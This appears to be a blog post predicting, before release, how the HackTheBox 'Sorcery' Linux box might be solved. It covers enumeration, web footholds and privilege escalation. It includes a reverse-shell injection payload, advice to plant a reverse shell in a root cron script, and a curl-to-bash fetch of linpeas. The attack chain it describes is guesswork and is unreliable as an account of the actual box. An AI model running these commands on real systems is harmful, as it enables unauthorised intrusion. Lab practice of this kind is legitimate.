Unleashing the Magic: Predicting HackTheBox Season 8 Week 5 - Sorcery (Insane Linux Challenge) htb-writeup

The name "Sorcery" hints at magic, mystery, and perhaps some trickery. In the world of CTFs, this often means misdirection, hidden services, or obscure exploits that require you to think like a true wizard. Since this is an Insane Linux box, expect layers of complexity—maybe a mix of custom applications, kernel-level trickery, or even some dark magic in the form of steganography or cryptography. Here’s what I’m thinking:

• Custom Web Apps with a Magical Twist: A web server might be running a "magical" application—think a potion-brewing portal or a spellbook API. Look out for vulnerabilities like command injection (a classic "incantation gone wrong") or deserialization bugs that let you cast your own "spells" on the server.
• Hidden Services or Files: Sorcery might involve hidden directories, files, or even network services that aren’t immediately obvious. Think steganography in images (a wizard’s portrait, perhaps?) or a secret SSH port that only opens after you solve a riddle.
• Privilege Escalation Wizardry: On an Insane box, getting root is never straightforward. Expect kernel exploits, misconfigured capabilities, or even a custom binary that requires you to reverse-engineer a "magical" algorithm to gain higher privileges.

Every great spell starts with preparation, and in HTB, that means thorough enumeration. Since this is a Linux box, fire up your favorite tools and start digging:

• Nmap All the Way: Start with a full port scan to uncover any hidden services. Insane boxes love to hide things, so don’t skimp on the scan. Try:

nmap -sS -sV -p- --open -T4 <IP>

Look for unusual ports—maybe a custom TCP port 1337 for a "magical" service or a high port running an obscure protocol.

• Gobuster for Hidden Realms: If you spot a web server (likely on port 80 or 443), enumerate directories like a pro. Use a wordlist that might match the theme—words like "spell," "potion," "magic," or "wizard" could lead to hidden endpoints.

gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

• Steganography Check: If the web server has images (like a wizard’s grimoire or a mystical rune), download them and check for hidden messages. Tools like steghide or binwalk might reveal a secret:

steghide extract -sf wizard.jpg

Pro Tip: Insane boxes often require you to chain vulnerabilities. If you find a web app, don’t stop at the first XSS—dig deeper for a foothold that leads to a shell.

Given the "Sorcery" theme, I’m betting on a web-based initial foothold—something that feels magical but has a dark side. Here are some possibilities:

• Command Injection in a Spellbook App: Imagine a web app where you "cast spells" by entering commands (e.g., "fireball -target enemy"). If the input isn’t sanitized, you might be able to inject your own commands. Try:

; whoami

If the app echoes back your username (like www-data), you’ve got a potential RCE. From there, upload a reverse shell:

; bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1

• API Misconfiguration: Maybe there’s an API at /api/spells that lets you "brew potions" but exposes too much. Use curl to enumerate endpoints and look for unauthenticated access:

curl http://<IP>/api/spells --verbose

If you spot a JSON deserialization vulnerability, craft a payload to pop a shell. Tools like ysoserial can help if it’s a Java-based app.

• SSH Trickery: If you find SSH (port 22), there might be a "magical" twist—like a password hidden in a web app’s source code or a private key buried in a stego image. Once you have creds, try:

ssh user@<IP> -i id_rsa

Learning Point: Insane boxes often hide credentials in unexpected places. Check every file, every response header, and every comment in the source code. A single clue (like a spell incantation) might unlock the next step.

Once you’ve got a foothold, the real sorcery begins—getting root. Insane Linux boxes are notorious for tricky privesc, so here are some ideas:

• Kernel Exploit: Check the kernel version with:

uname -r

If it’s an older kernel (e.g., pre-5.15), look for known exploits like Dirty COW or CVE-2021-4034 (Polkit). Use searchsploit to find a match:

searchsploit linux kernel <version>

• Misconfigured Sudo Magic: Run sudo -l to see if you can execute any commands as root. Sometimes, Insane boxes let you run a custom script as root—reverse-engineer it to find a way to inject your own commands.
• Capabilities or Cron Shenanigans: Check for misconfigured capabilities on binaries:

getcap -r / 2>/dev/null

Also, look for cron jobs that run as root and might be writable:

cat /etc/crontab

If you can modify a script that root executes, add a reverse shell to escalate.

Pro Tip: Insane boxes might require you to chain multiple privesc techniques. For example, you might use a cron job to gain a better user, then exploit a kernel vuln to get root. Patience is key!

Sorcery being Insane means you’ll likely need to chain several exploits. Here’s a possible scenario:

1. Find a web app on port 80 with a hidden directory /grimoire.
2. Exploit a command injection vuln to get a www-data shell.
3. Discover a stego image in /var/www/html that hides an SSH private key.
4. Use the key to SSH as a low-priv user.
5. Find a cron job running a writable script as root, modify it to add your SSH key to /root/.ssh/authorized_keys.
6. SSH as root and claim the flag!

Here’s your spellbook of tools to tackle Sorcery:

1. Nmap: For enumeration.
2. Gobuster/Dirb: For web directory brute-forcing.
3. Steghide/Binwalk: For steganography.
4. Metasploit: If you need to exploit a known vuln quickly.
5. LinPEAS: To automate privesc enumeration:

curl https://github.com/peass-ng/PEASS-ng/raw/master/linPEAS/linpeas.sh | bash

Sorcery is going to be a challenge that tests your creativity, persistence, and hacker mindset. Insane boxes are all about thinking outside the box (or spellbook, in this case). Don’t get discouraged if your first spell fails—keep enumerating, keep experimenting, and you’ll eventually find the right incantation to unlock the flag. When the box drops tonight, dive in with a clear mind and a full toolkit. You’ve got this, wizard! 🧙‍♂️

Got your own predictions for Sorcery? Drop them in the comments below, and let’s see how close we get when the box goes live. Happy hacking! 💻

Disclaimer: This is a prediction based on the box’s name, difficulty, and platform. Always follow HackTheBox rules and only hack systems you have permission to test. Let’s keep the magic ethical! 😎

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